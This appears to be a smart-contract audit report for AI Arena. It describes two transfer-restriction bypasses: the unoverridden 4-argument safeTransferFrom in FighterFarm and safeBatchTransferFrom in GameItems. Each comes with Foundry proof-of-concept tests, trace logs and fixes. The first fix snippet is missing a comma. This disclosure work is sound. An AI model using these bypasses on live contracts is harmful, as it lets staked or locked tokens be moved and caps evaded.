AI Arena - jaydhales's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L355

Vulnerability details

Impact

Before Fighter NFTs can be transferred, two conditions must be met.

• The receiver must not have the maximum number of NFTs allowed for each player (i.e 10).
• The Sender cannot transfer Fighters that are currently staked.

All these are enforced by overriding safeTransferFrom(address,address,uint256) . However, safeTransferFrom(address,address,uint256,bytes) is ignored, which makes it possible for NFTs to be transferred.

Proof of Concept

Here is a coded POC to demonstrate the issue:

• TRANSFER STAKED NFT

function test_TransferStakedNFT() public {
        vm.label(_DELEGATED_ADDRESS, "Receiver");

        _mintFromMergingPool(_ownerAddress);
        _fighterFarmContract.addStaker(_ownerAddress);

        // Update NFT staking info to true
        _fighterFarmContract.updateFighterStaking(0, true);

        // Attempt to transfer Locked Fighter
        vm.expectRevert();
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0);

        // Transfer with safeTransferFrom(address,address,uint256,bytes)
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "");
        assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS);
    }

• TRANSFER NFT TO RECIEVER WITH MAX AMOUNT ALLOWED

function test_TransferNFTsToMaxedReceiver() public {
        vm.label(_DELEGATED_ADDRESS, "Receiver");

        _mintFromMergingPool(_ownerAddress);

        for (uint8 i = 0; i < 10; i++) {
            _mintFromMergingPool(_DELEGATED_ADDRESS);
        }

        console.log(_fighterFarmContract.balanceOf(_DELEGATED_ADDRESS));

        // Attempt to transfer Locked Fighter
        vm.expectRevert();
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0);

        // Transfer with safeTransferFrom(address,address,uint256,bytes)
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "");
        assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS);

        console.log(_fighterFarmContract.balanceOf(_DELEGATED_ADDRESS));
    }

Logs

    │   ├─ emit FighterCreated(id: 10, weight: 80, element: 1, generation: 0)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [695] FighterFarm::balanceOf(Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0]) [staticcall]
    │   └─ ← 10
    ├─ [0] console::log(10) [staticcall]
    │   └─ ← ()
    ├─ [0] VM::expectRevert(custom error f4844814:)
    │   └─ ← ()
    ├─ [1283] FighterFarm::safeTransferFrom(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0], 0)
    │   └─ ← EvmError: Revert
    ├─ [33506] FighterFarm::safeTransferFrom(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0], 0, 0x)
    │   ├─ emit Approval(owner: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], approved: 0x0000000000000000000000000000000000000000, tokenId: 0)
    │   ├─ emit Transfer(from: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0], tokenId: 0)
    │   └─ ← ()
    ├─ [581] FighterFarm::ownerOf(0) [staticcall]
    │   └─ ← Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0]
    ├─ [695] FighterFarm::balanceOf(Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0]) [staticcall]
    │   └─ ← 11
    ├─ [0] console::log(11) [staticcall]
    │   └─ ← ()
    └─ ← ()

Test Setup:

• Clone the repo: https://github.com/code-423n4/2024-02-ai-arena
• Add the POC code to FighterFarm.t.sol
• Run: forge t -vvvvv --mt test_Transfer

Tools Used

Foundry

Recommended Mitigation Steps

Override safeTransferFrom(address,address,uint256,bytes) instead of safeTransferFrom(address,address,uint256) FighterFarm.sol . This is because the former gets called by the latter with an empty bytes (openzeppelin@4.7.3:ERC721.sol#L169).

function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId
				bytes memory data
    ) 
        public 
        override(ERC721, IERC721)
    {
        require(_ableToTransfer(tokenId, to));
        _safeTransfer(from, to, tokenId, data);
    }

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291

Vulnerability details

Impact

The lack of an override for safeBatchTransferFrom could lead to security vulnerabilities or unexpected behaviour in contracts that interact with the token. For example, a malicious actor could potentially transfer non-transferable tokens in a batch transfer, which could bypass checks for non-transferable tokens.

Proof of Concept

The provided safeTransferFrom function overrides the standard ERC1155 function to check if the NFT is transferable. However, the safeBatchTransferFrom function, which is also a part of the ERC1155 standard, is not overridden. This means that the additional check for transferability is not applied when transferring multiple tokens at once. This could lead to unexpected behaviour.

Here is a coded POC to demonstrate the issue:

function testTransferNonTransferrableNFTs() public {
				vm.label(_DELEGATED_ADDRESS, "Receiver");
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        // Mint NFT
        _gameItemsContract.mint(0, 1);

        // Set NFT as non-transferrable
        _gameItemsContract.adjustTransferability(0, false);

        // Attempt to transfer NFT with safeTransferFrom
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");

        uint256[] memory id = new uint256[](1);
        id[0] = 0;
        uint256[] memory amount = new uint256[](1);
        amount[0] = 1;

        // Transfer NFT with safeBatchTransferFrom
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, id, amount, "");

        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
    }

Log

    ├─ [6908] GameItems::adjustTransferability(0, false)
    │   ├─ emit Locked(tokenId: 0)
    │   └─ ← ()
    ├─ [0] VM::expectRevert(custom error f4844814:)
    │   └─ ← ()
    ├─ [1314] GameItems::safeTransferFrom(GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0], 0, 1, 0x)
    │   └─ ← EvmError: Revert
    ├─ [31942] GameItems::safeBatchTransferFrom(GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0], [0], [1], 0x)
    │   ├─ emit TransferBatch(operator: GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], from: GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0], ids: [0], values: [1])
    │   └─ ← ()
    ├─ [718] GameItems::balanceOf(Receiver: [0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0], 0) [staticcall]
    │   └─ ← 1
    ├─ [718] GameItems::balanceOf(GameItemsTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0) [staticcall]
    │   └─ ← 0
    └─ ← ()

Test Setup:

• Clone the repo: https://github.com/code-423n4/2024-02-ai-arena
• Add the POC code to GameItems.t.sol
• Run: forge t -vvvvv --mt testTransferNonTransferrableNFTs

Tools Used

Foundry

Recommended Mitigation Steps

Override safeBatchTransferFrom with the same check require(allGameItemAttributes[tokenId].transferable); to GameItems.sol

function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) public virtual override(ERC1155) {
        for (uint256 i = 0; i < ids.length; i++) {
            require(allGameItemAttributes[ids[i]].transferable);
        }
        super.safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Assessed type

Token-Transfer